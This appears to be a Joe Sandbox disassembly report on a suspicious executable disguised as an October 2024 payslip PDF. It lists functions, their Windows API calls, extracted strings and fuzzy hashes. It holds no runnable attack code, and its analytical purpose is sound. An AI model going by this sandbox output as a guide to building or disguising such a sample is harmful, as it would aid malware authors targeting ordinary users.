Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: 04a3057a5a4d29f443a6dd84a0d61c182c1c14c4b005ac8028c653fa64d306eb
Instruction ID: 4753edfb9bd82d4a11274d633e3aafba835fdbc89f17bc4cab960170a96a8e77
Opcode Fuzzy Hash: 04a3057a5a4d29f443a6dd84a0d61c182c1c14c4b005ac8028c653fa64d306eb
Instruction Fuzzy Hash: 55319A31A4420AAADF14FA60CD53EFEB7A4AF25751F600129F911710E2EF616F0CE5A2

Function 00CFC4C1 Relevance: 25.7, APIs: 17, Instructions: 169windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 00CFC4D4
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00CFC4E6
SetWindowTextW.USER32(?,?), ref: 00CFC4FD
GetDlgItem.USER32(?,000003EA), ref: 00CFC512
SetWindowTextW.USER32(00000000,?), ref: 00CFC518
GetDlgItem.USER32(?,000003E9), ref: 00CFC528
SetWindowTextW.USER32(00000000,?), ref: 00CFC52E
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00CFC54F
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00CFC569
GetWindowRect.USER32(?,?), ref: 00CFC572
SetWindowTextW.USER32(?,?), ref: 00CFC5DD
GetDesktopWindow.USER32 ref: 00CFC5E3
GetWindowRect.USER32(00000000), ref: 00CFC5EA
MoveWindow.USER32(?,?,?,?,00000000,00000000), ref: 00CFC636
GetClientRect.USER32(?,?), ref: 00CFC643
PostMessageW.USER32(?,00000005,00000000,00000000), ref: 00CFC668
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00CFC693

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
String ID:
API String ID: 3869813825-0
Opcode ID: cb471297d7f01138115952153f54ee3dee9c82b848e01321fbc6bff0066bae3b
Instruction ID: 09a5b77ff7eb9d6d18e78c2511f9e0811854e84ee22cb149cba883fe56ae0c92
Opcode Fuzzy Hash: cb471297d7f01138115952153f54ee3dee9c82b848e01321fbc6bff0066bae3b
Instruction Fuzzy Hash: F1515C70A0070DAFDB209FA8DE85B7EBBB5FF14705F004928E696E26A0C774A945DB50

Function 00D2A428 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D2A4C8
DestroyWindow.USER32(?,?), ref: 00D2A542

Part of subcall function 00CA7D2C: _memmove.LIBCMT ref: 00CA7D66

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00D2A5BC
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00D2A5DE
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00D2A5F1
DestroyWindow.USER32(00000000), ref: 00D2A613
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00CA0000,00000000), ref: 00D2A64A
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00D2A663
GetDesktopWindow.USER32 ref: 00D2A67C
GetWindowRect.USER32(00000000), ref: 00D2A683
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00D2A69B
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00D2A6B3

Part of subcall function 00CA25DB: GetWindowLongW.USER32(?,000000EB), ref: 00CA25EC

Strings

0, xrefs: 00D2A4DE
tooltips_class32, xrefs: 00D2A5B5, 00D2A643

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
String ID: 0$tooltips_class32
API String ID: 1297703922-3619404913
Opcode ID: f470880aa5c440a3febd65391070c4c3306d7fca475f324b288040ea5461a858
Instruction ID: ea41f762f05c2f296c995a26118f99d51ba14714e39ecd4e3236b6d9b503ab94
Opcode Fuzzy Hash: f470880aa5c440a3febd65391070c4c3306d7fca475f324b288040ea5461a858
Instruction Fuzzy Hash: 3F718A71140705AFD720CF28DC45F6677E6FBA8709F08492DF985972A0C771E946CB62

Function 00D2C8EE Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00CA2612: GetWindowLongW.USER32(?,000000EB), ref: 00CA2623

DragQueryPoint.SHELL32(?,?), ref: 00D2C917

Part of subcall function 00D2ADF1: ClientToScreen.USER32(?,?), ref: 00D2AE1A
Part of subcall function 00D2ADF1: GetWindowRect.USER32(?,?), ref: 00D2AE90
Part of subcall function 00D2ADF1: PtInRect.USER32(?,?,00D2C304), ref: 00D2AEA0

SendMessageW.USER32(?,000000B0,?,?), ref: 00D2C980
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00D2C98B
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00D2C9AE
_wcscat.LIBCMT ref: 00D2C9DE
SendMessageW.USER32(?,000000C2,00000001,?), ref: 00D2C9F5
SendMessageW.USER32(?,000000B0,?,?), ref: 00D2CA0E
SendMessageW.USER32(?,000000B1,?,?), ref: 00D2CA25
SendMessageW.USER32(?,000000B1,?,?), ref: 00D2CA47
DragFinish.SHELL32(?), ref: 00D2CA4E
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00D2CB41

Strings

@GUI_DROPID, xrefs: 00D2CA6E
@GUI_DRAGID, xrefs: 00D2CAB9
@GUI_DRAGFILE, xrefs: 00D2CAF0

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 169749273-3440237614
Opcode ID: 8256c77d098dce54d62913b8db572b8b4227728fd3a5977bbcc42f4d18be8354
Instruction ID: 6e69d03911f69af76c420a95f2dae033e24d609b3d2262d9b47e138768a821ef
Opcode Fuzzy Hash: 8256c77d098dce54d62913b8db572b8b4227728fd3a5977bbcc42f4d18be8354
Instruction Fuzzy Hash: CB617971108301AFC710EF64DC85D9FBBF8EF99714F000A2EF591922A1EB709A49DB62

Function 00D24619 Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 251windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00D246AB
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00D246F6

Strings

EXISTS, xrefs: 00D2475F
COLLAPSE, xrefs: 00D2473C
GETITEMCOUNT, xrefs: 00D247D8
GETSELECTED, xrefs: 00D24806
UNCHECK, xrefs: 00D248D2
CHECK, xrefs: 00D24716
ISCHECKED, xrefs: 00D24879
GETTEXT, xrefs: 00D24849
EXPAND, xrefs: 00D247A8
GETTOTALCOUNT, xrefs: 00D246DD
SELECT, xrefs: 00D248A7

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: 70593f13bab62029bad5bcca8ff238410cf5fc814740f914aa587dd954dd69c5
Instruction ID: d013f6ace08631a40bf7ced8ed24afd449147c56db1015099370f67e08e03162
Opcode Fuzzy Hash: 70593f13bab62029bad5bcca8ff238410cf5fc814740f914aa587dd954dd69c5
Instruction Fuzzy Hash: 79919034204712DFCB14EF20C451A6AB7A1EF95318F14485DFC965B3A2DB30ED4AEBA2

Function 00D2BAB8 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 197windowlibraryCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00D2BB6E
LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,00000001,?,?,?,00D26D80,?), ref: 00D2BBCA
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00D2BC03
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 00D2BC46
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00D2BC7D
FreeLibrary.KERNEL32(?), ref: 00D2BC89
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00D2BC99
DestroyIcon.USER32(?), ref: 00D2BCA8
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00D2BCC5
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00D2BCD1

Part of subcall function 00CC313D: __wcsicmp_l.LIBCMT ref: 00CC31C6

Strings

.exe, xrefs: 00D2BB04
.dll, xrefs: 00D2BB27
.icl, xrefs: 00D2BAE4

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFree__wcsicmp_l
String ID: .dll$.exe$.icl
API String ID: 1212759294-1154884017
Opcode ID: b0299856abf68b9662f8cb209f67cb1e951a86d3a1e209712437db56884070cb
Instruction ID: ad4564c95966a1405c2575bfd38f5681e77c2981b72f9d016b7d8b9bcf5f1e6b
Opcode Fuzzy Hash: b0299856abf68b9662f8cb209f67cb1e951a86d3a1e209712437db56884070cb
Instruction Fuzzy Hash: D561DD71500629BEEB24DF74DC42FBA77B8EB18725F10452AF815D61D0DBB0A980EBB0

Function 00D0A5BD Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00CA9997: __itow.LIBCMT ref: 00CA99C2
Part of subcall function 00CA9997: __swprintf.LIBCMT ref: 00CA9A0C

CharLowerBuffW.USER32(?,?), ref: 00D0A636
GetDriveTypeW.KERNEL32 ref: 00D0A683
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00D0A6CB
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00D0A702
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00D0A730

Part of subcall function 00CA7D2C: _memmove.LIBCMT ref: 00CA7D66

Strings

type cdaudio alias cd wait, xrefs: 00D0A6AE
open, xrefs: 00D0A65D
open , xrefs: 00D0A692
closed, xrefs: 00D0A64A, 00D0A653
close cd wait, xrefs: 00D0A71B
close, xrefs: 00D0A63C
wait, xrefs: 00D0A6ED
set cd door , xrefs: 00D0A6D1

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 2698844021-4113822522
Opcode ID: 9442017b191f86dc448b6bb6e13a294234047ffcfaf0979ce7b35010dda95912
Instruction ID: 0a3ac1b5187b884c89fa852533a6a6c71565d557091fe9e5fa1da13efe17683c
Opcode Fuzzy Hash: 9442017b191f86dc448b6bb6e13a294234047ffcfaf0979ce7b35010dda95912
Instruction Fuzzy Hash: D5513D711047059FC700EF24C88196AB7F4FF95718F148A6DF89A972A1DB31EE0ADB62

Function 00D0A45A Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 102fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00D0A47A
__swprintf.LIBCMT ref: 00D0A49C
CreateDirectoryW.KERNEL32(?,00000000), ref: 00D0A4D9
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00D0A4FE
_memset.LIBCMT ref: 00D0A51D
_wcsncpy.LIBCMT ref: 00D0A559
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00D0A58E
CloseHandle.KERNEL32(00000000), ref: 00D0A599
RemoveDirectoryW.KERNEL32(?), ref: 00D0A5A2
CloseHandle.KERNEL32(00000000), ref: 00D0A5AC

Strings

:, xrefs: 00D0A4BD
\, xrefs: 00D0A4B2
\??\%s, xrefs: 00D0A496

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
String ID: :$\$\??\%s
API String ID: 2733774712-3457252023
Opcode ID: a35b3e50b613ee003c24eae2759f25f70f415b3ff76fdf069f749c0ec1bf4d9d
Instruction ID: ac5a7f57f6c749a28b1282d55c5368f24e2226f8dcb1bf7abdef804b6a0e28d0
Opcode Fuzzy Hash: a35b3e50b613ee003c24eae2759f25f70f415b3ff76fdf069f749c0ec1bf4d9d
Instruction Fuzzy Hash: CA31B0B6900209ABDB21DFA4DC49FEB33BCEF88701F1441BAF908D21A0E77096458B35

Function 00CDAB1B Relevance: 22.7, APIs: 15, Instructions: 211COMMONLIBRARYCODE

Download Yara Rule

APIs

_copy_environ.LIBCMT ref: 00CDAB7B
___wtomb_environ.LIBCMT ref: 00CDAB9D

Part of subcall function 00CC8D68: __getptd_noexit.LIBCMT ref: 00CC8D68

__malloc_crt.LIBCMT ref: 00CDABC5
__malloc_crt.LIBCMT ref: 00CDABE2
_free.LIBCMT ref: 00CDAC19
__recalloc_crt.LIBCMT ref: 00CDAC52
__recalloc_crt.LIBCMT ref: 00CDAC97
_strlen.LIBCMT ref: 00CDACC3
__calloc_crt.LIBCMT ref: 00CDACCD
_strlen.LIBCMT ref: 00CDACDC
SetEnvironmentVariableA.KERNEL32(00000000,00000000,?,?,?,?,00000000,00000000), ref: 00CDAD0A
_free.LIBCMT ref: 00CDAD24
_free.LIBCMT ref: 00CDAD31
_free.LIBCMT ref: 00CDAD43
__invoke_watson.LIBCMT ref: 00CDAD5D

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: _free$__malloc_crt__recalloc_crt_strlen$EnvironmentVariable___wtomb_environ__calloc_crt__getptd_noexit__invoke_watson_copy_environ
String ID:
API String ID: 884005220-0
Opcode ID: 09f2d55ccffa2c3a8bfe7dbf8a099bd5ddbc1631c33d9ab8c16898b01f52f08f
Instruction ID: 1ed92dd5ae6a1e79bd1f0299d9eaee995766dc55c994a43d9d2514bf908cebf9
Opcode Fuzzy Hash: 09f2d55ccffa2c3a8bfe7dbf8a099bd5ddbc1631c33d9ab8c16898b01f52f08f
Instruction Fuzzy Hash: F9610372900315AFDB205F64D842F6A77A5EF12331F14411BEA21DB3D1DB79CA82D7A2

Function 00D2C49C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00CA2612: GetWindowLongW.USER32(?,000000EB), ref: 00CA2623

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00D2C4EC
GetFocus.USER32 ref: 00D2C4FC
GetDlgCtrlID.USER32(00000000), ref: 00D2C507
_memset.LIBCMT ref: 00D2C632
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 00D2C65D
GetMenuItemCount.USER32(?), ref: 00D2C67D
GetMenuItemID.USER32(?,00000000), ref: 00D2C690
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 00D2C6C4
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 00D2C70C
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00D2C744
DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 00D2C779

Strings

0, xrefs: 00D2C62A

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
String ID: 0
API String ID: 1296962147-4108050209
Opcode ID: c37db82c75edb33fb544b8af46557e27f9ae69552eb7651912e4ea4f339a7c0d
Instruction ID: faa30cfc89d2ff15a8c5a246387fb9b5632e9c2166828d59758a8223524ef395
Opcode Fuzzy Hash: c37db82c75edb33fb544b8af46557e27f9ae69552eb7651912e4ea4f339a7c0d
Instruction Fuzzy Hash: 5B817B702183219FD720CF24E984A6EBBE8EBA8358F04192DF99597291D771DD05CBB2

Function 00CF83F4 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00CF874A: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00CF8766
Part of subcall function 00CF874A: GetLastError.KERNEL32(?,00CF822A,?,?,?), ref: 00CF8770
Part of subcall function 00CF874A: GetProcessHeap.KERNEL32(00000008,?,?,00CF822A,?,?,?), ref: 00CF877F
Part of subcall function 00CF874A: HeapAlloc.KERNEL32(00000000,?,00CF822A,?,?,?), ref: 00CF8786
Part of subcall function 00CF874A: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00CF879D

Part of subcall function 00CF87E7: GetProcessHeap.KERNEL32(00000008,00CF8240,00000000,00000000,?,00CF8240,?), ref: 00CF87F3
Part of subcall function 00CF87E7: HeapAlloc.KERNEL32(00000000,?,00CF8240,?), ref: 00CF87FA
Part of subcall function 00CF87E7: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00CF8240,?), ref: 00CF880B

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00CF8458
_memset.LIBCMT ref: 00CF846D
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00CF848C
GetLengthSid.ADVAPI32(?), ref: 00CF849D
GetAce.ADVAPI32(?,00000000,?), ref: 00CF84DA
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00CF84F6
GetLengthSid.ADVAPI32(?), ref: 00CF8513
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00CF8522
HeapAlloc.KERNEL32(00000000), ref: 00CF8529
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00CF854A
CopySid.ADVAPI32(00000000), ref: 00CF8551
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00CF8582
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00CF85A8
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00CF85BC

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: 9d6ddfaf6f7d163f92cf3a0b7598138f66ad6f7a5cac0b63165b118a4bd88f04
Instruction ID: 1cc397762395619373b10027a7971335f9efbca67883bf1e462b1dfb6ecb3f4f
Opcode Fuzzy Hash: 9d6ddfaf6f7d163f92cf3a0b7598138f66ad6f7a5cac0b63165b118a4bd88f04
Instruction Fuzzy Hash: C0613B71A00209ABDF109FA4DD45ABEBBB9FF05300F14856AF925E6291DB319A09CF61

Function 00D1762D Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00D176A2
CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 00D176AE
CreateCompatibleDC.GDI32(?), ref: 00D176BA
SelectObject.GDI32(00000000,?), ref: 00D176C7
StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 00D1771B
GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,00000028,00000000), ref: 00D17757
GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 00D1777B
SelectObject.GDI32(00000006,?), ref: 00D17783
DeleteObject.GDI32(?), ref: 00D1778C
DeleteDC.GDI32(00000006), ref: 00D17793
ReleaseDC.USER32(00000000,?), ref: 00D1779E

Strings

(, xrefs: 00D17723

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: c6579ebb5856e6071240f096226ae8b6c1651c40dba4370d02a4598d32c08646
Instruction ID: cef9eb3f169ecbd2b139c5defd68bea7a2fbe521fd616ece0fae298e59a78d2d
Opcode Fuzzy Hash: c6579ebb5856e6071240f096226ae8b6c1651c40dba4370d02a4598d32c08646
Instruction Fuzzy Hash: 73513875904309EFCB25CFA8DC84EAEBBB9EF48710F14852DF95997260DA31A941CB60

Function 00D0A0B5 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 156COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,00D2FB78), ref: 00D0A0FC

Part of subcall function 00CA7F41: _memmove.LIBCMT ref: 00CA7F82

LoadStringW.USER32(?,?,00000FFF,?), ref: 00D0A11E
__swprintf.LIBCMT ref: 00D0A177
__swprintf.LIBCMT ref: 00D0A190
_wprintf.LIBCMT ref: 00D0A246
_wprintf.LIBCMT ref: 00D0A264

Strings

Error: , xrefs: 00D0A20E
"%s" (%d) : ==> %s:, xrefs: 00D0A25F
^ ERROR, xrefs: 00D0A1E8
"%s" (%d) : ==> %s:%s%s, xrefs: 00D0A241
Line %d (File "%s"):, xrefs: 00D0A171, 00D0A18A

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

